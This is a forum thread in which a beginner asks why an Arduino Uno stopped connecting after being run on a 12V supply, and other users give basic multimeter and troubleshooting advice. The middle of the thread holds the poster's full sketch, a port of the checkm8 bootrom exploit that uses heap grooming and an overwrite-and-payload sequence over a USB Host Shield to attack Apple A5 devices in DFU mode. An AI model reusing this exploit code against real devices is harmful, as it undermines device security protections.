Hello! I'm new to Arduinos, so I am not aware of what all information I should provide to gain assistance.
I am using an Arduino UNO R3, which was working fine until I tried uploading code with a 12v power supply connected through the barrel port. Since then, the Uno has not been recognised by my iMac, nor the IDE (1.8.9). I have found minimal answers online for the issue, and am stumped on what to do. Thanks in advance for helping : )
When the UNO is powered up, does the L LED flash ?
What is the voltage on the 5v pin ?
You might want to look at this How to get the best out of this forum before you proceed any further.
We only know what you tell us, and without knowing what you have, and why you want to do this, we don't stand a chance.
Is there anything else connected to the Arduino?
It could be possible that it had too much connected to it and that burned out the internal regulator.
It appears there is a fault in the UNO protection circuit. It is possible this was damaged in an earlier project, defective or maybe not a true UNO circuit.
The chances are high you blew the USB port on your computer, try another USB device to see if it still works.
Probably the safest way is to open the 5V wire (typically red) in the USB cable as recommended y many or get an isolator.
All of the USB ports used still function correctly with different devices plugged in (e.g. mouse/iPod)
No, it is solid amber. It might be flashing really slow, however, since when I look away for a few minutes the amber light is off.
I wish I could say, but I cannot upload code to the UNO due to this issue, and I do not own a multimeter : (
When I was performing the project, I had a USB Host Shield connected, along with the USB-B cable connected from the board's USB-B port to the computer, the 12v barrel jack connected to the wall outlet, and an iPod touch connected to the USB Host Shield.
I am using this checkm8-a5 code:
#include "Usb.h"
#define A5_8942
#include "constants.h"
USB Usb;
USB_DEVICE_DESCRIPTOR desc_buf;
uint8_t rcode;
uint8_t last_state, state;
bool is_apple_dfu = false;
uint8_t serial_idx = 0xff;
enum {
CHECKM8_INIT_RESET,
CHECKM8_HEAP_FENG_SHUI,
CHECKM8_SET_GLOBAL_STATE,
CHECKM8_HEAP_OCCUPATION,
CHECKM8_END
};
uint8_t checkm8_state = CHECKM8_INIT_RESET;
uint8_t send_out(uint8_t * io_buf, uint8_t pktsize)
{
Usb.bytesWr(rSNDFIFO, pktsize, io_buf);
Usb.regWr(rSNDBC, pktsize);
Usb.regWr(rHXFR, tokOUT);
while(!(Usb.regRd(rHIRQ) & bmHXFRDNIRQ));
Usb.regWr(rHIRQ, bmHXFRDNIRQ);
uint8_t rcode = Usb.regRd(rHRSL) & 0x0f;
return rcode;
}
void setup() {
Serial.begin(115200);
Serial.println("checkm8 started");
if(Usb.Init() == -1)
Serial.println("usb init error");
delay(200);
}
void loop() {
Usb.Task();
state = Usb.getUsbTaskState();
if(state != last_state)
{
//Serial.print("usb state: "); Serial.println(state, HEX);
last_state = state;
}
if(state == USB_STATE_ERROR)
{
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
}
if(state == USB_STATE_RUNNING)
{
if(!is_apple_dfu)
{
Usb.getDevDescr(0, 0, 0x12, (uint8_t *) &desc_buf);
if(desc_buf.idVendor != 0x5ac || desc_buf.idProduct != 0x1227)
{
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
if(checkm8_state != CHECKM8_END)
{
Serial.print("Non Apple DFU found (vendorId: "); Serial.print(desc_buf.idVendor); Serial.print(", productId: "); Serial.print(desc_buf.idProduct); Serial.println(")");
delay(5000);
}
return;
}
is_apple_dfu = true;
serial_idx = desc_buf.iSerialNumber;
}
switch(checkm8_state)
{
case CHECKM8_INIT_RESET:
for(int i = 0; i < 3; i++)
{
digitalWrite(6, HIGH);
delay(500);
digitalWrite(6, LOW);
delay(500);
}
checkm8_state = CHECKM8_HEAP_FENG_SHUI;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
break;
case CHECKM8_HEAP_FENG_SHUI:
heap_feng_shui();
checkm8_state = CHECKM8_SET_GLOBAL_STATE;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
break;
case CHECKM8_SET_GLOBAL_STATE:
set_global_state();
checkm8_state = CHECKM8_HEAP_OCCUPATION;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
//while(Usb.getUsbTaskState() != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) { Usb.Task(); }
break;
case CHECKM8_HEAP_OCCUPATION:
heap_occupation();
checkm8_state = CHECKM8_END;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
break;
case CHECKM8_END:
digitalWrite(6, HIGH);
Serial.println("Done!");
checkm8_state = -1;
break;
}
}
}
uint8_t heap_feng_shui_req(uint8_t sz, bool intok)
{
uint8_t setup_rcode, data_rcode;
setup_rcode = Usb.ctrlReq_SETUP(0, 0, 0x80, 6, serial_idx, 3, 0x40a, sz);
uint8_t io_buf[0x40];
if(intok)
{
data_rcode = Usb.dispatchPkt(tokIN, 0, 0);
uint8_t pktsize = Usb.regRd(rRCVBC);
Usb.bytesRd(rRCVFIFO, pktsize, io_buf);
Usb.regWr(rHIRQ, bmRCVDAVIRQ);
}
Serial.print("heap_feng_shui_req: setup status = "); Serial.print(setup_rcode, HEX);
Serial.print(", data status = "); Serial.println(data_rcode, HEX);
return setup_rcode;
}
void heap_feng_shui()
{
Serial.println("1. heap feng-shui");
rcode = Usb.ctrlReq(0, 0, 2, 3, 0, 0, 0x80, 0, 0, 0, 0);
Serial.print("Stall status: "); Serial.println(rcode, HEX);
Usb.regWr(rHCTL, bmRCVTOG1);
int success = 0;
while(success != 620)
{
if(heap_feng_shui_req(0x80, true) == 0)
success++;
}
heap_feng_shui_req(0x81, true); // no leak
/* a8 testing
// heap_feng_shui_req(0xc0, true); // stall
heap_feng_shui_req(0xc0, true); // leak
for(int i = 0; i < 40; i++)
heap_feng_shui_req(0xc1, true); // no leak
*/
}
void set_global_state()
{
Serial.println("2. set global state");
uint8_t tmpbuf[0x40];
memset(tmpbuf, 0xcc, sizeof(tmpbuf));
rcode = Usb.ctrlReq_SETUP(0, 0, 0x21, 1, 0, 0, 0, 0x40);
//Usb.regWr(rHCTL, bmSNDTOG0);
rcode = send_out(tmpbuf, 0x40);
Serial.print("OUT pre-packet: "); Serial.println(rcode, HEX);
rcode = send_out(tmpbuf, 0x40);
Serial.print("Send random 0x40 bytes: "); Serial.println(rcode, HEX);
rcode = Usb.dispatchPkt(tokINHS, 0, 0);
Serial.print("Send random 0x40 bytes HS: "); Serial.println(rcode, HEX);
rcode = Usb.ctrlReq(0, 0, 0x21, 1, 0, 0, 0, 0, 0, 0, 0);
Serial.print("Send zero length packet: "); Serial.println(rcode, HEX);
rcode = Usb.ctrlReq(0, 0, 0xA1, 3, 0, 0, 0, 6, 6, tmpbuf, 0);
Serial.print("Send get status #1: "); Serial.println(rcode, HEX);
rcode = Usb.ctrlReq(0, 0, 0xA1, 3, 0, 0, 0, 6, 6, tmpbuf, 0);
Serial.print("Send get status #2: "); Serial.println(rcode, HEX);
rcode = Usb.ctrlReq_SETUP(0, 0, 0x21, 1, 0, 0, 0, padding + 0x40);
uint8_t io_buf[0x40];
for(int i = 0; i < ((padding + 0x40) / 0x40); i++)
{
rcode = send_out(io_buf, 0x40);
Serial.print(" data: "); Serial.println(rcode, HEX);
if(rcode)
{
Serial.println("sending error");
checkm8_state = CHECKM8_END;
return;
}
}
}
void heap_occupation()
{
Serial.println("3. heap occupation");
Usb.regWr(rHCTL, bmRCVTOG1);
heap_feng_shui_req(0x81, true); // no leak
//Serial.println("!!! Enable debugging/dump sram here !!!");
//delay(10000);
uint8_t tmpbuf[0x40];
Serial.println("overwrite sending ...");
rcode = Usb.ctrlReq_SETUP(0, 0, 0, 0, 0, 0, 0, 0x40);
Serial.print(" SETUP: "); Serial.println(rcode, HEX);
//Usb.regWr(rHCTL, bmSNDTOG0);
memset(tmpbuf, 0xcc, sizeof(tmpbuf));
rcode = send_out(tmpbuf, 0x40);
Serial.print(" OUT (pre packet): "); Serial.println(rcode, HEX);
for(int i = 0; i < 0x40; i++)
tmpbuf[i] = pgm_read_byte(overwrite + i);
rcode = send_out(tmpbuf, 0x40);
Serial.print(" OUT: "); Serial.println(rcode, HEX);
Serial.println("payload sending ...");
rcode = Usb.ctrlReq_SETUP(0, 0, 0x21, 1, 0, 0, 0, sizeof(payload));
Serial.print(" SETUP: "); Serial.println(rcode, HEX);
//Usb.regWr(rHCTL, bmSNDTOG0);
memset(tmpbuf, 0xcc, sizeof(tmpbuf));
rcode = send_out(tmpbuf, 0x40);
Serial.print(" OUT (pre packet): "); Serial.println(rcode, HEX);
for(int i = 0; i < sizeof(payload); i += 0x40)
{
for(int j = 0; j < 0x40; j++)
tmpbuf[j] = pgm_read_byte(payload + i + j);
rcode = send_out(tmpbuf, 0x40);
Serial.print(" OUT: "); Serial.println(rcode, HEX);
}
}
Inexpensive ones can be purchased for less then a good cup of coffee. They are good enough for beginning with Arduino's.
I will try to get one soon to test the 5V pin then : )
Sorry for the late reply, but I’m a little confused on what pins I should connect the multimeter to. I tried connecting to the 5V and ground pins with power going through but there was no measure coming through.
How do you know power was going through? Try measuring the voltage of a few small batteries.
At this point I think you need to spend some time with a few tutorials on basic electronics. In that you will learn how to use your meter.
That is a bit confusing.
Power doesn’t flow. In this world you are in there are two main things, Voltage which we say is across (or between) two points, and Current which flows between two points. The word Power means the product of current and voltage. That is power = Current times Voltage.
To use a DMM to measure volts, put the selector on the voltage reading. Make sure it is in DC (Direct current) mode there may be a ~ symbol somewhere, that turns it into an AC (Alternating Current)
Now put the black wire to a ground pin, and the red wire to the 5V pin and look at the reading. But never do this if you have set the meter to a current mode, as that will cause a short circuit and maybe damage things.
Can you please post a photograph of your meter so we can tell you more precise instructions as all meters, while containing similar features, are slightly different as to the controls.
Still 0 
Why does the picture not show the leads? This is a very important thing for us to know. Most meters have three sockets, you plug the two leads into the appropriate holes depending on the measurement you are taking.
What happens when you put it in the resistance measuring mode? Slightly dampen each finger and get hold of each lead. Do you see the reading change with the pressure your fingers exert on the leads?
Then it is probably a faulty meter take it back to the shop and get them to change it for one that works.
I have never see a digital meter that can sort out a voltage measurement from a current meter without changing the plug in configuration.
